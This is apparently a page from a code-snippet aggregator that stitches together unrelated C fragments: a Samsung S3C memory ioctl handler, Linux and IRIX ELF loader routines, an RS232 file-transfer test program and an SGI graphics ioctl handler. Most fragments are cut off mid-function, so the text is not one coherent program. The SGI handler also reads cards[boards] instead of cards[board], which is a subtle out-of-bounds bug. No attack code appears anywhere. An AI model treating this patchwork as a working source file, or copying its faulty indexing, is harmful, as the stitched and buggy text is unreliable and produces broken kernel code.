				printk("S3C_MEM_SHARE_ALLOC FAILED\n");
				flag = 0;
				mutex_unlock(&mem_share_alloc_lock);
				return -EFAULT;
			}
			DEBUG("MALLOC_SHARE : param.phy_addr = 0x%X \t size = %d \t param.vir_addr = 0x%X, %d\n", param.phy_addr, param.size, param.vir_addr, __LINE__);

			if(copy_to_user((struct s3c_mem_alloc *)arg, &param, sizeof(struct s3c_mem_alloc))){
				flag = 0;
				mutex_unlock(&mem_share_alloc_lock);
				return -EFAULT;
			}
			flag = 0;
			mutex_unlock(&mem_share_alloc_lock);

			break;

		case S3C_MEM_CACHEABLE_SHARE_ALLOC:
			mutex_lock(&mem_cacheable_share_alloc_lock);
			if(copy_from_user(&param, (struct s3c_mem_alloc *)arg, sizeof(struct s3c_mem_alloc))){
				mutex_unlock(&mem_cacheable_share_alloc_lock);
				return -EFAULT;
			}
			flag = MEM_ALLOC_CACHEABLE_SHARE;
//.........这里部分代码省略.........

//.........这里部分代码省略.........
		if (BAD_ADDR(elf_entry)) {
			force_sig(SIGSEGV, current);
			retval = IS_ERR((void *)elf_entry) ?
					(int)elf_entry : -EINVAL;
			goto out_free_dentry;
		}
		reloc_func_desc = interp_load_addr;

		allow_write_access(interpreter);
		fput(interpreter);
		kfree(elf_interpreter);
	} else {
		elf_entry = loc->elf_ex.e_entry;
		if (BAD_ADDR(elf_entry)) {
			force_sig(SIGSEGV, current);
			retval = -EINVAL;
			goto out_free_dentry;
		}
	}

	kfree(elf_phdata);

	sys_close(elf_exec_fileno);

	set_binfmt(&elf_format);

#ifdef ARCH_HAS_SETUP_ADDITIONAL_PAGES
	retval = arch_setup_additional_pages(bprm, executable_stack);
	if (retval < 0) {
		send_sig(SIGKILL, current, 0);
		goto out;
	}
#endif /* ARCH_HAS_SETUP_ADDITIONAL_PAGES */

	compute_creds(bprm);
	current->flags &= ~PF_FORKNOEXEC;
	retval = create_elf_tables(bprm, &loc->elf_ex,
			  load_addr, interp_load_addr);
	if (retval < 0) {
		send_sig(SIGKILL, current, 0);
		goto out;
	}
	/* N.B. passed_fileno might not be initialized? */
	current->mm->end_code = end_code;
	current->mm->start_code = start_code;
	current->mm->start_data = start_data;
	current->mm->end_data = end_data;
	current->mm->start_stack = bprm->p;

#ifdef arch_randomize_brk
	if ((current->flags & PF_RANDOMIZE) && (randomize_va_space > 1))
		current->mm->brk = current->mm->start_brk =
			arch_randomize_brk(current->mm);
#endif

	if (current->personality & MMAP_PAGE_ZERO) {
		/* Why this, you ask???  Well SVr4 maps page 0 as read-only,
		   and some applications "depend" upon this behavior.
		   Since we do not have the power to recompile these, we
		   emulate the SVr4 behavior. Sigh. */
		down_write(&current->mm->mmap_sem);
		error = do_mmap(NULL, 0, PAGE_SIZE, PROT_READ | PROT_EXEC,
				MAP_FIXED | MAP_PRIVATE, 0);
		up_write(&current->mm->mmap_sem);
	}

#ifdef ELF_PLAT_INIT
	/*
	 * The ABI may specify that certain registers be set up in special
	 * ways (on i386 %edx is the address of a DT_FINI function, for
	 * example.  In addition, it may also specify (eg, PowerPC64 ELF)
	 * that the e_entry field is the address of the function descriptor
	 * for the startup routine, rather than the address of the startup
	 * routine itself.  This macro performs whatever initialization to
	 * the regs structure is required as well as any relocations to the
	 * function descriptor entries when executing dynamically links apps.
	 */
	ELF_PLAT_INIT(regs, reloc_func_desc);
#endif

	start_thread(regs, elf_entry, bprm->p);
	retval = 0;
out:
	kfree(loc);
out_ret:
	return retval;

	/* error cleanup */
out_free_dentry:
	allow_write_access(interpreter);
	if (interpreter)
		fput(interpreter);
out_free_interp:
	kfree(elf_interpreter);
out_free_file:
	sys_close(elf_exec_fileno);
out_free_ph:
	kfree(elf_phdata);
	goto out;
}

int main(int argc, char *argv[])
{
    unsigned int ip, ip_arr[4];
    size_t len;
        
    struct timeval start, end;
    struct stat stat;
        
    if (argc < 4) {
        fprintf(stderr, "Usage: %s <output_file> <method> <IP>\n", argv[0]);
        exit(1);
    }
    if ((fdin = open("/dev/rs232_slave", O_RDONLY)) < 0) {
        perror("open device fail");
        exit(1);
    }
    if(gettimeofday(&start, NULL) < 0) {
        perror("gettimeofday to start fail");
        exit(1);
    }
    if ((fdout = open(argv[1], O_RDWR | O_TRUNC | O_CREAT, 0644)) < 0) {
        perror("open fail");
        exit(1);
    }

    if (sscanf(argv[3], "%u.%u.%u.%u",
        &ip_arr[0], &ip_arr[1], &ip_arr[2], &ip_arr[3]) != 4) {
        fprintf(stderr, "invalid IP\n");
        exit(1);
    }
    ENCODE_IP(ip, ip_arr);
    if (ioctl(fdin, IOCTL_OPENCONN, &ip) < 0) {
        perror("ioctl open connect fail");
        exit(1);
    }
        
    len = strlen(argv[2]);
    if (strncmp("fcntl", argv[2], len) == 0) {
        do_fcntl();
    } else if (strncmp("mmap", argv[2], len) == 0) {
        do_mmap();
    } else {
        fprintf(stderr, "invalid method\n");
        exit(1);
    }
        
    if (ioctl(fdin, IOCTL_CLOSECONN) < 0) {
        perror("ioctl close connect fail");
        exit(1);
    }
        
    if (close(fdin) < 0) {
        perror("close");
        exit(1);
    }
    if (fstat(fdout, &stat) < 0) {
        perror("fstat fail");
        exit(1);
        }
    if (close(fdout) < 0) {
        perror("close");
        exit(1);
    }

    if (gettimeofday(&end, NULL) < 0) {
        perror("gettimeofday to end fail");
        exit(1);
    }
        
    if (end.tv_usec < start.tv_usec) {
        end.tv_sec -= 1;
        end.tv_usec += 1000000;
    }
    printf("Transmission time: %lf ms, File size: %lu bytes\n",
        ((end.tv_sec - start.tv_sec) * 1000 +
        ((double)(end.tv_usec - start.tv_usec) / 1000)),
        (size_t)(stat.st_size));

    return 0;
}

//.........这里部分代码省略.........
	current->mm->mmap = NULL;
	current->flags &= ~PF_FORKNOEXEC;
	elf_entry = (unsigned int) elf_ex.e_entry;

	/* Do this so that we can load the interpreter, if need be.  We will
	 * change some of these later.
	 */
	setup_arg_pages(bprm, STACK_TOP, EXSTACK_DEFAULT);
	current->mm->start_stack = bprm->p;

	/* At this point, we assume that the image should be loaded at
	 * fixed address, not at a variable address.
	 */
	old_fs = get_fs();
	set_fs(get_ds());

	map_executable(bprm->file, elf_phdata, elf_ex.e_phnum, &elf_stack,
	               &load_addr, &start_code, &elf_bss, &end_code,
	               &end_data, &elf_brk);

	if (elf_interpreter) {
		retval = map_interpreter(elf_phdata, &interp_elf_ex,
					 interpreter, &interp_load_addr,
					 elf_ex.e_phnum, old_fs, &elf_entry);
		kfree(elf_interpreter);
		if (retval) {
			set_fs(old_fs);
			printk("Unable to load IRIX ELF interpreter\n");
			send_sig(SIGSEGV, current, 0);
			retval = 0;
			goto out_free_file;
		}
	}

	set_fs(old_fs);

	kfree(elf_phdata);
	set_personality(PER_IRIX32);
	set_binfmt(&irix_format);
	compute_creds(bprm);
	current->flags &= ~PF_FORKNOEXEC;
	bprm->p = (unsigned long)
	  create_irix_tables((char *)bprm->p, bprm->argc, bprm->envc,
			(elf_interpreter ? &elf_ex : NULL),
			load_addr, interp_load_addr, regs, elf_ephdr);
	current->mm->start_brk = current->mm->brk = elf_brk;
	current->mm->end_code = end_code;
	current->mm->start_code = start_code;
	current->mm->end_data = end_data;
	current->mm->start_stack = bprm->p;

	/* Calling set_brk effectively mmaps the pages that we need for the
	 * bss and break sections.
	 */
	set_brk(elf_bss, elf_brk);

	/*
	 * IRIX maps a page at 0x200000 which holds some system
	 * information.  Programs depend on this.
	 */
	irix_map_prda_page();

	padzero(elf_bss);

	pr_debug("(start_brk) %lx\n" , (long) current->mm->start_brk);
	pr_debug("(end_code) %lx\n" , (long) current->mm->end_code);
	pr_debug("(start_code) %lx\n" , (long) current->mm->start_code);
	pr_debug("(end_data) %lx\n" , (long) current->mm->end_data);
	pr_debug("(start_stack) %lx\n" , (long) current->mm->start_stack);
	pr_debug("(brk) %lx\n" , (long) current->mm->brk);

#if 0 /* XXX No fucking way dude... */
	/* Why this, you ask???  Well SVr4 maps page 0 as read-only,
	 * and some applications "depend" upon this behavior.
	 * Since we do not have the power to recompile these, we
	 * emulate the SVr4 behavior.  Sigh.
	 */
	down_write(&current->mm->mmap_sem);
	(void) do_mmap(NULL, 0, 4096, PROT_READ | PROT_EXEC,
		       MAP_FIXED | MAP_PRIVATE, 0);
	up_write(&current->mm->mmap_sem);
#endif

	start_thread(regs, elf_entry, bprm->p);
	if (current->ptrace & PT_PTRACED)
		send_sig(SIGTRAP, current, 0);
	return 0;
out:
	return retval;

out_free_dentry:
	allow_write_access(interpreter);
	fput(interpreter);
out_free_interp:
	kfree(elf_interpreter);
out_free_file:
out_free_ph:
	kfree(elf_phdata);
	goto out;
}

int
sgi_graphics_ioctl (struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg)
{
	unsigned int board;
	unsigned int devnum = GRAPHICS_CARD (inode->i_rdev);
	int i;

	if ((cmd >= RRM_BASE) && (cmd <= RRM_CMD_LIMIT))
		return rrm_command (cmd-RRM_BASE, (void *) arg);

	switch (cmd){
	case GFX_GETNUM_BOARDS:
		return boards;

	case GFX_GETBOARD_INFO: {
		struct gfx_getboardinfo_args *bia = (void *) arg;
		void   *dest_buf;
		int    max_len;
		
		i = verify_area (VERIFY_READ, (void *) arg, sizeof (struct gfx_getboardinfo_args));
		if (i) return i;
		
		if (__get_user (board,    &bia->board) ||
		    __get_user (dest_buf, &bia->buf) ||
		    __get_user (max_len,  &bia->len))
			return -EFAULT;

		if (board >= boards)
			return -EINVAL;
		if (max_len < sizeof (struct gfx_getboardinfo_args))
			return -EINVAL;
		if (max_len > cards [board].g_board_info_len)
			max_len = cards [boards].g_board_info_len;
		i = verify_area (VERIFY_WRITE, dest_buf, max_len);
		if (i) return i;
		if (copy_to_user (dest_buf, cards [board].g_board_info, max_len))
			return -EFAULT;
		return max_len;
	}

	case GFX_ATTACH_BOARD: {
		struct gfx_attach_board_args *att = (void *) arg;
		void *vaddr;
		int  r;

		i = verify_area (VERIFY_READ, (void *)arg, sizeof (struct gfx_attach_board_args));
		if (i) return i;

		if (__get_user (board, &att->board) ||
		    __get_user (vaddr, &att->vaddr))
			return -EFAULT;

		/* Ok for now we are assuming /dev/graphicsN -> head N even
		 * if the ioctl api suggests that this is not quite the case.
		 *
		 * Otherwise we fail, we use this assumption in the mmap code
		 * below to find our board information.
		 */
		if (board != devnum){
			printk ("Parameter board does not match the current board\n");
			return -EINVAL;
		}

		if (board >= boards)
			return -EINVAL;

		/* If it is the first opening it, then make it the board owner */
		if (!cards [board].g_owner)
			cards [board].g_owner = current;

		/*
		 * Ok, we now call mmap on this file, which will end up calling
		 * sgi_graphics_mmap
		 */
		disable_gconsole ();
		down_write(&current->mm->mmap_sem);
		r = do_mmap (file, (unsigned long)vaddr,
			     cards[board].g_regs_size, PROT_READ|PROT_WRITE,
			     MAP_FIXED|MAP_PRIVATE, 0);
		up_write(&current->mm->mmap_sem);
		if (r)
			return r;
	}

	/* Strange, the real mapping seems to be done at GFX_ATTACH_BOARD,
	 * GFX_MAPALL is not even used by IRIX X server
	 */
	case GFX_MAPALL:
		return 0;

	case GFX_LABEL:
		return 0;

		/* Version check
		 * for my IRIX 6.2 X server, this is what the kernel returns
		 */
	case 1:
		return 3;

	/* Xsgi does not use this one, I assume minor is the board being queried */
//.........这里部分代码省略.........